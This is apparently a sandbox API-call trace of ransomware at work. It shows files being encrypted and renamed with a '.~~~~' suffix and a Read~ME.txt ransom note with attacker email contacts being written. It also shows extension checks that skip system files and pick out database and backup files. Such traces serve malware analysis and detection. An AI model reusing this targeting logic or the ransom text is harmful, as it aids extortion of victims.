	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.420] GetLastError () returned 0x0
	[0063.420] SetLastError (dwErrCode=0x0) 
	[0063.420] GetLastError () returned 0x0
	[0063.420] SetLastError (dwErrCode=0x0) 
	[0063.420] GetLastError () returned 0x0
	[0063.420] SetLastError (dwErrCode=0x0) 
	[0063.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3cb040
	[0063.420] ReadFile (in: hFile=0x11c, lpBuffer=0x3cb040, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3cb040*, lpNumberOfBytesRead=0x25dfec0*=0x75e, lpOverlapped=0x0) returned 1
	[0063.812] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.812] WriteFile (in: hFile=0x11c, lpBuffer=0x3cb040*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3cb040*, lpNumberOfBytesWritten=0x25dfec0*=0x75e, lpOverlapped=0x0) returned 1
	[0063.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cb040 | out: hHeap=0x300000) returned 1
	[0063.812] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.812] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0063.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0063.812] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0063.813] CloseHandle (hObject=0x11c) returned 1
	[0063.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0063.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0063.815] GetLastError () returned 0x0
	[0063.815] SetLastError (dwErrCode=0x0) 
	[0063.815] GetLastError () returned 0x0
	[0063.815] SetLastError (dwErrCode=0x0) 
	[0063.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.816] RtlWakeConditionVariable () returned 0x365f70
	[0063.816] GetCurrentThreadId () returned 0x9f4
	[0063.816] GetCurrentThreadId () returned 0x9f4
	[0063.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0063.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0063.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0063.816] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0063.816] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0063.816] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0063.818] CloseHandle (hObject=0x11c) returned 1
	[0063.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0063.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.818] RtlWakeConditionVariable () returned 0x365f70
	[0063.818] GetCurrentThreadId () returned 0x9f4
	[0063.818] GetCurrentThreadId () returned 0x9f4
	[0063.818] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.952] GetCurrentThreadId () returned 0x9f4
	[0063.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0063.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0063.952] lstrlenW (lpString=".scr") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0063.952] lstrlenW (lpString=".cmd") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0063.952] lstrlenW (lpString=".dll") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0063.952] lstrlenW (lpString=".bat") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0063.952] lstrlenW (lpString=".cpl") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0063.952] lstrlenW (lpString=".sys") returned 4
	[0063.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0063.952] lstrlenW (lpString=".msc") returned 4
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0063.953] lstrlenW (lpString=".com") returned 4
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0063.953] lstrlenW (lpString=".lnk") returned 4
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0063.953] lstrlenW (lpString=".msp") returned 4
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0063.953] lstrlenW (lpString=".pif") returned 4
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0063.953] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0063.953] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0063.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.953] RtlWakeConditionVariable () returned 0x365f70
	[0063.953] GetCurrentThreadId () returned 0x9f4
	[0063.953] GetCurrentThreadId () returned 0x9f4
	[0063.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0063.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed00 | out: hHeap=0x300000) returned 1
	[0063.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.954] lstrlenW (lpString=".scr") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0063.954] lstrlenW (lpString=".cmd") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0063.954] lstrlenW (lpString=".dll") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0063.954] lstrlenW (lpString=".bat") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0063.954] lstrlenW (lpString=".cpl") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0063.954] lstrlenW (lpString=".sys") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0063.954] lstrlenW (lpString=".msc") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0063.954] lstrlenW (lpString=".com") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0063.954] lstrlenW (lpString=".lnk") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0063.954] lstrlenW (lpString=".msp") returned 4
	[0063.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0063.954] lstrlenW (lpString=".pif") returned 4
	[0063.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0063.955] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0063.955] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0063.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.955] RtlWakeConditionVariable () returned 0x365f70
	[0063.955] GetCurrentThreadId () returned 0x9f4
	[0063.955] GetCurrentThreadId () returned 0x9f4
	[0063.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5e0 | out: hHeap=0x300000) returned 1
	[0063.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0063.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5e0
	[0063.955] lstrlenW (lpString=".scr") returned 4
	[0063.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".scr") returned 0x0
	[0063.955] lstrlenW (lpString=".cmd") returned 4
	[0063.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".cmd") returned 0x0
	[0063.955] lstrlenW (lpString=".dll") returned 4
	[0063.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dll") returned 0x0
	[0063.955] lstrlenW (lpString=".bat") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".bat") returned 0x0
	[0063.956] lstrlenW (lpString=".cpl") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".cpl") returned 0x0
	[0063.956] lstrlenW (lpString=".sys") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".sys") returned 0x0
	[0063.956] lstrlenW (lpString=".msc") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".msc") returned 0x0
	[0063.956] lstrlenW (lpString=".com") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".com") returned 0x0
	[0063.956] lstrlenW (lpString=".lnk") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".lnk") returned 0x0
	[0063.956] lstrlenW (lpString=".msp") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".msp") returned 0x0
	[0063.956] lstrlenW (lpString=".pif") returned 4
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".pif") returned 0x0
	[0063.956] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.956] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0063.956] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0063.969] lstrlenW (lpString=".sqb") returned 4
	[0063.969] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".sqb") returned 0x0
	[0063.969] lstrlenW (lpString=".ost") returned 4
	[0063.969] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".ost") returned 0x0
	[0063.969] lstrlenW (lpString=".txt") returned 4
	[0063.969] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".txt") returned 0x0
	[0063.970] lstrlenW (lpString=".mdt") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".mdt") returned 0x0
	[0063.970] lstrlenW (lpString=".BDB") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".BDB") returned 0x0
	[0063.970] lstrlenW (lpString=".eql") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".eql") returned 0x0
	[0063.970] lstrlenW (lpString=".DBF") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DBF") returned 0x0
	[0063.970] lstrlenW (lpString=".EQL") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".EQL") returned 0x0
	[0063.970] lstrlenW (lpString=".FDB") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".FDB") returned 0x0
	[0063.970] lstrlenW (lpString=".EDB") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".EDB") returned 0x0
	[0063.970] lstrlenW (lpString=".DACPAC") returned 7
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0063.970] lstrlenW (lpString=".VHD") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".VHD") returned 0x0
	[0063.970] lstrlenW (lpString=".DBV") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DBV") returned 0x0
	[0063.970] lstrlenW (lpString=".dacpac") returned 7
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dacpac") returned 0x0
	[0063.970] lstrlenW (lpString=".sdf") returned 4
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".sdf") returned 0x0
	[0063.970] lstrlenW (lpString=".accdb") returned 6
	[0063.970] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".accdb") returned 0x0
	[0063.971] lstrlenW (lpString=".DBX") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DBX") returned 0x0
	[0063.971] lstrlenW (lpString=".MDT") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".MDT") returned 0x0
	[0063.971] lstrlenW (lpString=".SQB") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".SQB") returned 0x0
	[0063.971] lstrlenW (lpString=".vhd") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".vhd") returned 0x0
	[0063.971] lstrlenW (lpString=".bac") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".bac") returned 0x0
	[0063.971] lstrlenW (lpString=".mdf") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".mdf") returned 0x0
	[0063.971] lstrlenW (lpString=".BAK") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".BAK") returned 0x0
	[0063.971] lstrlenW (lpString=".BAC") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".BAC") returned 0x0
	[0063.971] lstrlenW (lpString=".dbs") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dbs") returned 0x0
	[0063.971] lstrlenW (lpString=".vhdx") returned 5
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".vhdx") returned 0x0
	[0063.971] lstrlenW (lpString=".NDF") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".NDF") returned 0x0
	[0063.971] lstrlenW (lpString=".dat") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dat") returned 0x0
	[0063.971] lstrlenW (lpString=".DBS") returned 4
	[0063.971] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DBS") returned 0x0
	[0063.972] lstrlenW (lpString=".CKP") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".CKP") returned 0x0
	[0063.972] lstrlenW (lpString=".edb") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".edb") returned 0x0
	[0063.972] lstrlenW (lpString=".PST") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".PST") returned 0x0
	[0063.972] lstrlenW (lpString=".dbf") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dbf") returned 0x0
	[0063.972] lstrlenW (lpString=".SQL") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".SQL") returned 0x0
	[0063.972] lstrlenW (lpString=".pst") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".pst") returned 0x0
	[0063.972] lstrlenW (lpString=".dbv") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dbv") returned 0x0
	[0063.972] lstrlenW (lpString=".SDF") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".SDF") returned 0x0
	[0063.972] lstrlenW (lpString=".dtxs") returned 5
